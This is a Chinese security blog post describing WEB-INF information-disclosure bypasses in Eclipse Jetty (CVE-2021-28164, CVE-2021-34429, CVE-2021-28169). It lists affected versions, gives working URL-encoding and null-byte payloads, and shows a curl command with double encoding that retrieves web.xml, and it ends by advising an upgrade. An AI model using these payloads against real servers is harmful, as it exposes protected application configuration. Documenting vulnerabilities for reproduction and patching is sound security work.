IRF-Jetty_WEB-INF_敏感信息泄露漏洞


I

这是IRF系列的第一篇。何为IRF,IRF是Enomothem于2023年1月31日提出的漏洞管理信息方法,IRF分别为Information、Recurrence和Fix plan

I: 漏洞的基本信息、物体Object(什么应用)、时间Time(可选)、空间Space(版本范围,受影响范围)、编号(CVE等等)

R: 漏洞复现方法、具备的条件

F: 漏洞修复计划。

基本信息

Eclipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。

在Jetty9.4.37版本中,为了符合RFC3986中的规范,选择性地支持可能有歧义解释的URI,默认模式允许URL编码,简单看下RFC3986(替代RFC2396)的规定
其大致意思是:.和..称为点段,都是为路径名层次结构中的相对引用而定义的,它们在一些操作系统文件目录结构中分别代表当前目录和父目录。但是与文件系统不同的是,这些点段仅在 URI 路径中解释层次结构,并作为解析过程的一部分被删除。也就是说在解析URI路径时,需要先处理.和..,Jetty为了符合这种处理方式,却导致了一系列的漏洞产生,首先是在9.4.39版本中修复了CVE-2021-28164,然后出现了新的绕过,其又在9.4.43版本中修复了CVE-2021-34429。

Jetty在9.4.40后修复了因为%2e导致的敏感信息泄露漏洞CVE-2021-28164,但这个修复是不完全的,通过下面三种方式可以进行绕过:

下面三种方式可以进行绕过:

  • unicode形式URL编码:/%u002e/WEB-INF/web.xml
  • \0组合.导致的绕过:/.%00/WEB-INF/web.xml
  • \0组合..导致的绕过:/a/b/..%00/WEB-INF/web.xml

OTS

  • Jetty 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5

  • CVE-2021-28164

    CVE-2021-34429

    CVE-2021-28169

R

分析

http://example.com/%2e/WEB-INF/web.xml

复现CVE-2021-28164

直接访问/WEB-INF/web.xml将会返回404页面

使用/%2e/WEB-INF/web.xml来绕过限制下载web.xml:

复现CVE-2021-34429

可以使用一些编码字符来制作URI,以访问WEB-INF目录的内容和/或绕过一些安全限制。默认合规模式允许带有包含 %u002e 段的 URI 的请求访问WEB-INF目录中的受保护资源。

例如,/%u002e/WEB-INF/web.xml可以检索 web.xml 文件的请求。这可能会泄露有关 Web 应用程序实现的敏感信息。同样,编码的空字符可能会阻止正确的规范化,因此/.%00/WEB-INF/web.xml也会检索 web.xml 文件。

  1. 照常访问/WEB-INF/web.xml,响应404.
  2. 使用%u002e绕过:/%u002e/WEB-INF/web.xml
  3. 使用空字符绕过:/.%00/WEB-INF/web.xml

复现CVE-2021-28169

  1. 正常通过/static?/WEB-INF/web.xml无法访问到敏感文件web.xml.

  2. 对字母“W”进行双重URL编码,即可绕过限制进行访问:

    curl -v http://192.168.17.244:8080/static?/%2557EB-INF/web.xml

F

1.更新版本


文章作者: Enomothem
版权声明: 本博客所有文章除特别声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Enomothem !
  目录